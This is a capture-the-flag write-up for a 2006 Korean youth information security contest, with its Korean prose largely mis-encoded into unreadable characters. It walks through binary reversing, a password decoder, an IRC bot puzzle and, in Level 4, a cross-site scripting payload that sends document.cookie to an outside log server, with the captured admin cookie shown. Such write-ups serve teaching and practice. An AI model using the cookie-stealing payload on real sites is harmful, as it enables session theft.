!@#$%^&*()_+!@#$%^&*()_+!@#$%^&*()_+!@#$%^&*()_+!@#$%^&*()_+!@#$%^&*()_+!@#$ !@#$%^&*()_+ !@#$%^&*()_+ !@#$%^&*()_+ 2006 õб ȣ 佺Ƽ !@#$%^&*()_+ !@#$%^&*()_+ (2006 Youth's Information Security Festival) !@#$%^&*()_+ !@#$%^&*()_+ !@#$%^&*()_+ !@#$%^&*()_+!@#$%^&*()_+!@#$%^&*()_+!@#$%^&*()_+!@#$%^&*()_+!@#$%^&*()_+!@#$ command> whoami -------------------------------------------------------- info -> name = info -> school = б info -> id = hkpco info -> pw = ********* info -> face_quality = High info -> homepage = http://hkpco.kr/ -------------------------------------------------------- =========================================================================================================== 1----------------1 1 Level1 1 1----------------1 ȣ Ǯ [ Level 1 ] - ȭ鿡 ̴ 4 ϳ Ͽ Ȯ ϴ. - 10 Ǯ Ǹ н尡 µ˴ϴ. - ߸ 䰹 1 ϳ Ʋ Ǹ ϳ ϰ ˴ϴ. Ͻñ ٶϴ. ۳ȸ Ե ǻͿ ( ) Դϴ. û ä ָ ˴ϴ. ˻ ִ ε Ǯ ֽϴ. 2----------------2 2 Level2 2 2----------------2 Level2 ü Ͽϴ. -------------------------------------------------------------------------------------- [level2@localhost ~]$ ls -al drwxr-x--- 4 root level2 4096 6 23 01:28 . drwxr-xr-x 7 root root 4096 6 18 08:16 .. d--------- 2 root root 4096 6 22 10:04 .bash_history -rw-r--r-- 1 level2 level2 304 6 18 06:27 .bash_logout -rw-r--r-- 1 level2 level2 195 6 22 08:57 .bash_profile -rw-r--r-- 1 level2 level2 124 6 18 06:27 .bashrc -rwxr-sr-x 1 root level3 5735 6 23 01:28 level2 dr-xr-x--- 2 root level3 4096 6 22 08:40 tmp [level2@localhost ~]$ ./level2 011110001101110110000101111101101010111110011101010111110110101011 01100110001101111101101010111010010110101011000111010010011010111110 11000100100001010001100000010111111011111010000110111111011111010111 10111110010110101101001011111011010101101101011111010110001010100110 00101110001011111011010101110100101101010110001110100100110101111101 10001001000010100011000000 Input : hkpco ======================================================= Not ... Sorry... Hint !!! 0 1 ϸ ? !!!====================================================== -------------------------------------------------------------------------------------- 2 ƽŰڵ ٲ , ڿ ڽϴ. α׷ ° 16 ̿ йڿ `%` ڿ ҽϴ. %3C%37%30%5f%35%3e%3a%5f%35%36%31%5f%35%3A%2D%2C%3A%26%5F%31%10%51%40........... [hkpco@ns hkpco]$ hk %3C%37%30%5f%35%3e%3a%5f%35%36%31%5f%35%3A%2D%2C%3A%26%5F%31%10 %51%40%5F%5F%21%5F%5F%2F%3E%2D%34%5F%35%36......() "%" <70_5>:_561_5:-,:&_1Q@__!__/>-4_56_,*18_5:-,:&_1 ctrl+p Q@ ϱ..? ڿ Էµ ߵ 㹫(?) ̾ϴ. gdb ̿Ͽ cmpl ԵǸ 0x3547667b ϰ Ǿ ִµ, κи ϸ ֽϴ. (̹ α ̾մϴ.) 0x08048468 : cmpl $0x3547667b,0xfffffffc(%ebp) 󿡼 帮 , gdb %d directive ̿Ͽ ebp-4 Է¹޾ҽϴ. 0x3547667b ٲپ α׷input ָ ǰڽϴ. { 0x3547667b <-> 893871739 } [level2@localhost ~]$ ./level2 011110001101110110000101111101101010111110011101010111110110101011 01100110001101111101101010111010010110101011000111010010011010111110 11000100100001010001100000010111111011111010000110111111011111010111 10111110010110101101001011111011010101101101011111010110001010100110 00101110001011111011010101110100101101010110001110100100110101111101 10001001000010100011000000 Input : 893871739 ======================================================= Next Level3 Passwd : Information Security!! [ ϼ̽ϴ. Level3 Ǯ ֽñ ٶϴ.] ====================================================== ~, 3----------------3 3 Level3 3 3----------------3 http://210.178.154.22/level3.html 3 Դϴ. ȫ Ƶ ȫ н ȯ α׷ ϴ. н level3.exe α׷ ڽ н带 ȯ ״ Ʈ Ǿ׿.. ?? ̰ ϱ??? Sqcfeffpk}IpWdxd?R?IOR ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ α׷ Ų ڿ Էϴ ڴ Ģ ȯǾ Խϴ. ollydbg ƾ ҽϴ. 004013CA |> B8 01000000 /MOV EAX,1 004013CF |. 85C0 |TEST EAX,EAX 004013D1 |. 0F84 82000000 |JE level3.00401459 004013D7 |. 8B8D B003FEFF |MOV ECX,DWORD PTR SS:[EBP+FFFE03B0] 004013DD |. 81E1 01000080 |AND ECX,80000001 004013E3 |. 79 05 |JNS SHORT level3.004013EA 004013E5 |. 49 |DEC ECX 004013E6 |. 83C9 FE |OR ECX,FFFFFFFE 004013E9 |. 41 |INC ECX 004013EA |> 85C9 |TEST ECX,ECX 004013EC |. 74 21 |JE SHORT level3.0040140F 004013EE |. 8B95 B003FEFF |MOV EDX,DWORD PTR SS:[EBP+FFFE03B0] 004013F4 |. 0FBE82 EC36420>|MOVSX EAX,BYTE PTR DS:[EDX+4236EC] 004013FB |. 0385 B003FEFF |ADD EAX,DWORD PTR SS:[EBP+FFFE03B0] 00401401 |. 8B8D B003FEFF |MOV ECX,DWORD PTR SS:[EBP+FFFE03B0] 00401407 |. 8881 EC364200 |MOV BYTE PTR DS:[ECX+4236EC],AL 0040140D |. EB 1F |JMP SHORT level3.0040142E 0040140F |> 8B95 B003FEFF |MOV EDX,DWORD PTR SS:[EBP+FFFE03B0] 00401415 |. 0FBE82 EC36420>|MOVSX EAX,BYTE PTR DS:[EDX+4236EC] 0040141C |. 2B85 B003FEFF |SUB EAX,DWORD PTR SS:[EBP+FFFE03B0] 00401422 |. 8B8D B003FEFF |MOV ECX,DWORD PTR SS:[EBP+FFFE03B0] 00401428 |. 8881 EC364200 |MOV BYTE PTR DS:[ECX+4236EC],AL 0040142E |> 8B95 B003FEFF |MOV EDX,DWORD PTR SS:[EBP+FFFE03B0] 00401434 |. 83C2 01 |ADD EDX,1 00401437 |. 8995 B003FEFF |MOV DWORD PTR SS:[EBP+FFFE03B0],EDX 0040143D |. 68 EC364200 |PUSH level3.004236EC 00401442 |. E8 69030000 |CALL level3.004017B0 00401447 |. 83C4 04 |ADD ESP,4 0040144A |. 3985 B003FEFF |CMP DWORD PTR SS:[EBP+FFFE03B0],EAX 00401450 |. 75 02 |JNZ SHORT level3.00401454 00401452 |. EB 05 |JMP SHORT level3.00401459 00401454 |>^E9 71FFFFFF \JMP level3.004013CA ..^^; ⼭ ڿ ȯǾ ׿.. "ŷ <-> " ̶ ˷(?)..~ Ǯڽϴ. aaaaaaaaaaaaaaڿ α׷ Է½Ų Ʒ ⽱ Ͽϴ. --------------------------------- | | | a a a a a a a a a a a a a a | -> a b _ d ] f [ h Y j W l U n <- | | --------------------------------- ȯ ڵ Ģ ϱ? ascii number Ʒ Ģ ɴϴ.. a , a+1 , a-2 , a+3 , a-4 , a+5 , a-6 , a-7 , a+8 , a-9 , a+10 , a-11 , a+12 , a-13 ̰..~ Ⱓ ȸ ؼ ׷ Ģ Դϴ. n {(-1)^(n-1) * k} k=0 ..^^; Ͱ Ŀ 1,2,3פ ڵ 츮 Է ڿ ù°,ι°,°ascii number ϴ. ڵ ̿Ͽ ־ ڵ ڿ ȣȭ ڽϴ. [hkpco@ns sch0]$ cat > sch_decoder.c #include #include #include #include #define CODE "Sqcfeffpk}IpWdxd?R?IOR" int main( void ) { char buf[128]={0x00,}; int i=0; strcpy( buf , CODE ); for( ; iwindow.open="http://210.178.154.21/level4/logs/hkpco_log?sfhacking=hkpco&cookie=" + document.cookie ΰħ غ αװ ߰Ǿϴ. + logs/hkpco_log ׼ϴ α + 210.178.154.22 - - [23/Jun/2006:05:35:56 +0900] "GET /level4/logs/hkpco_log?sfhacking=hkpco&cookie=master=%21%21SelfDefense%21%21 HTTP/1.1" 200 - !!SelfDefense!! :-) 5----------------5 5 Level5 5 5----------------5 [level5@localhost ~]$ ./level5 Invalid Parameters Usage : /home/level5/level5 XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX' ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ̹ Դϴ. Ʒ main disassemble Ϻθ ǥ Դϴ. Dump of assembler code for function main: 0x0804840c : push %ebp 0x0804840d : mov %esp,%ebp 0x0804840f : sub $0x18,%esp 0x08048412 : and $0xfffffff0,%esp 0x08048415 : mov $0x0,%eax 0x0804841a : add $0xf,%eax 0x0804841d : add $0xf,%eax 0x08048420 : shr $0x4,%eax 0x08048423 : shl $0x4,%eax 0x08048426 : sub %eax,%esp 0x08048428 : sub $0x8,%esp 0x0804842b : pushl 0xc(%ebp) 0x0804842e : pushl 0x8(%ebp) 0x08048431 : call 0x80484d1 0x08048436 : add $0x10,%esp . . . 0x080484b2 : lea 0xfffffff8(%ebp),%eax 0x080484b5 : add %edx,(%eax) 0x080484b7 : cmpl $0xfa0,0xfffffff8(%ebp) 0x080484be : jne 0x80484c5 0x080484c0 : call 0x8048563 0x080484c5 : movl $0x0,0xfffffff4(%ebp) 0x080484cc : mov 0xfffffff4(%ebp),%eax 0x080484be : jne 0x80484c5 0x080484c0 : call 0x8048563 0x080484c5 : movl $0x0,0xfffffff4(%ebp) 0x080484cc : mov 0xfffffff4(%ebp),%eax ⼭ ߿ κ cmplԴϴ. 0xfffffff8(%ebp)̰ 0xfa0̶ callprogԼ Ͽ ֽϴ. Ʒ callprogԼ disassembleԴϴ. (gdb) disassemble callprog Dump of assembler code for function callprog: 0x08048563 : push %ebp 0x08048564 : mov %esp,%ebp 0x08048566 : sub $0x8,%esp 0x08048569 : sub $0x8,%esp 0x0804856c : push $0x1f9 0x08048571 : push $0x1f9 0x08048576 : call 0x8048334 0x0804857b : add $0x10,%esp 0x0804857e : sub $0xc,%esp 0x08048581 : push $0x80486ed 0x08048586 : call 0x8048314 0x0804858b : add $0x10,%esp 0x0804858e : leave 0x0804858f : ret End of assembler dump. 츮 0xfffffff8(%ebp)( , ebp-8 ) 0xfa0 ٲپ ֱ⸸ ϸ ˴ϴ. ø ٲµ ø Ģ Ű Դϴ. ׺κ ƾ Ͽ ø Էϸ ǰ, ⼱ õ ġ ֱ ̿Ͽ ǮϿ ڽϴ. ø (43byte) ߾ ٲپ ebp-8 Ȯϸ 0xfa0 մϴ. Ʒ Դϴ. Program exited normally. (gdb) r aaaaaaaaab-YYYaaaaaaa-aaaaaaaaaa-aaaaaaaaaa Starting program: /home/level5/level5 aaaaaaaaab-YYYaaaaaaa-aaaaaaaaaa-aaaaaaaaaa (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x080484b7 in main () (gdb) x/x $ebp-8 0xbffffa40: 0x00000f9d // Ȯ, fa0 .. , so ٽ õ. (gdb) r aaaaaaaaab-YYYaaaaaaa-aaaaaaaaab-aaaaaaaaaa The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/level5/level5 aaaaaaaaab-YYYaaaaaaa-aaaaaaaaab-aaaaaaaaaa (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x080484b7 in main () (gdb) x/x $ebp-8 0xbffffa40: 0x00000f9e // ݸ ... (gdb) r aaaaaaaaab-YYYaaaaaaa-aaaaaaaaab-aaaaaaaaab The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/level5/level5 aaaaaaaaab-YYYaaaaaaa-aaaaaaaaab-aaaaaaaaab (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x080484b7 in main () (gdb) x/x $ebp-8 0xbffffa40: 0x00000f9f // .. (gdb) r aaaaaaaaab-YYYaaaaaaa-aaaaaaaaab-aaaaaaaaac The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/level5/level5 aaaaaaaaab-YYYaaaaaaa-aaaaaaaaab-aaaaaaaaac (no debugging symbols found) (gdb) x/x $ebp-8 0xbffffa40: 0x00000fa0 /* nice!, */ (gdb) quit [level5@localhost ~]$ ./level5 aaaaaaaaab-YYYaaaaaaa-aaaaaaaaab-aaaaaaaaac մϴ.!!! н "Nopain!Nogains!" Դϴ. Դϴ. level pass ^^; 6----------------6 6 Level6 6 6----------------6is last level. http://210.178.154.22/level6.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ !!. õб ȣа ̿ϴ IRC ܺ ̹Ƿ IRC ü  . (IRC Ʈ ij Ѵٴ.. x) !!. ȸ  Ȩ  Ȥ ̳ DB ϰų Ϸ õ ߽߰ ǰ! 1. õб ȣȣа л IRC̿Ѵ. (ַ ) 2. , ä ϱ BOT . 3. BOT Ϸ ؾ Ѵ. 4. Ĺ ̴ֿ, ȫ쿡 . Ʒ ֿ̰ Ͽ ۾ϴ Ϻ̴. ( ãƴ ٿ Ǵ ˾Ҵܴ..) connect( sockfd, (struct sockaddr*)&server_addr, sizeof(server_addr)); ip_url = "/ipaddr/kang.txt"; send( sockfdfd, ip_url, sizeof(ip_url), 0 ); recv( sockfd, rcv, BUFFSIZE, 0); if( rcv == "201" ) { printf("IP ġ"); } else if (rcv == "501") { printf("IP ٸ"); exit(1); } recv( sockfd, rcv, BUFFSIZE, 0); to_md5 = md5(rcv + "securityfirst") send( sockfd, to_md5, sizeof(to_md5), 0 ); recv( sockfd, rcv, BUFFSIZE, 0); if( rcv == "202" ) { printf("MD5 ġ"); } else if (rcv == "5022") { printf("MD5 ð ʰ"); exit(1); } else if (rcv == "502") { printf("MD5 ٸ"); exit(1); } irc_nick = ""; send( sockfd, irc_nick, sizeof(irc_nick), 0 ); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Դϴ. ڱ Ӹ ȵư(head error) ̱⵵ մϴ. 켱 ip_check , ׶ Ŭ̾Ʈ ޵Ǵ securityfirstڿ md5 ȣȭϿ ѽð irc_nick Բ sendϸ Դϴ. ó raw_socket ˾Ҵµ õõ غ ip Ͽ ۵Ǵ , securityfirstڿ ̿Ͽ md5check ؾϴ ε, rawsocket Ͽ ip spoofing ϰԵǸ recv ϴ. ǵϴ.. ׸  Ǫ.. ߽ϴ. Ӹ ưٰ ְڱ ~ ... 켱 츮 Ǵ irc ִ bot Դϴ. ׸ Ʈȣ Ǿ ʰ ĵ Ǿ ޾ϴ. ߿ ĵ ؾߵǴ ᱹ Ʈ Ǵ ^^~ ȸִ /ipaddr/kang.txtϿ Ǵ ping ʴ(Ƹ ȿ ..) ҽϴ. bot sendϿµ û ߸Ǿ ipcheck Ѱǰ Ͽ Ϸ Ŵ޷Ƚϴ. ׷ ߿ Ʈ ϴ. Ȩ(Խ) ̿϶ ޽ Բ.. ;-) ⼭ ޾ ϴ.( ̷..^^;) Խ ̿϶ Խ ε带 ̿Ͽ(.jpg ׸ϵ txt ϴ.) Ǫ°ε, Ͼȿ ڽ ǰ ־ մϴ. ׷ botserver ϼ ǿ Ǹ , ´ٸ 201 Եǰ ip_check ȸ ִ°Դϴ. ׸Ͽ ۾ϴ Ǹ ְ ε带 Ͽϴ. δ /bbs/data/qna/file.jpg̸ ״ ûϸ ˴ϴ. ״  ڰ ƿµ ʴ 1 ϴ°Ͱ Ǿ timeԼ ̿ϴ° ҽϴ. ̺κ recvϿ securityfirstڿ Բ md5 ڵ , irc_nickԲ ϴ. ** ۼ ڵ尡 ִµ ưȳ׿.. ߺΰͰϴ. ˼մϴ٤. ڵ尡 ٸ Ǯ̸ ϳ ڸ, Ҷ Ѱ , 1~10 ˳ϰ մ( ʸŭ plus) ׶ timeԼ ̸ securityfirst Բ md5 ڵ մϴ. ״ ѷ û ϴٺ 츮 س ð ¹ Դϴ. -> Ǯ̹ ̿ ʾƼ α ϴ. ߿ ٽ Ǯ ־..^^; ˼մϴ. , irc õǾִ bot ̿ؾ մϴ. ------------------------------------------------------------------------------ | asdfasdf | | <ȣBOT> "asdfasdf" ɾ, "!" | | ! | | <ȣBOT> '! [Ҹ]' - Ͽ Ѵ, | | '!н' - 6 н带 ˷ش!! | | <ȣBOT> Ͽϴ! 3е ° ӵ˴ϴ. | | ٸ ڵ ؼ Ű ! | | !н | | | | <ȣBOT> level6 н Practics makes Perfect!^! Դϴ. | | <ȣBOT> ϼ̽ϴ | ------------------------------------------------------------------------------ clearϿϴ. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Post Script -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- İ ?_?Ǿ ҳ׿.. ȸϱ ȸⰣ ֽð , Ͻ  е ̽ϴ. ׳ Ǭ ׿.. ִ ǮԵǾ ҽϴ. :-) ûĶ ˰ڽϴ. Ĵ翡 ִ ..ϰڽϴ!, ׷.. ^^;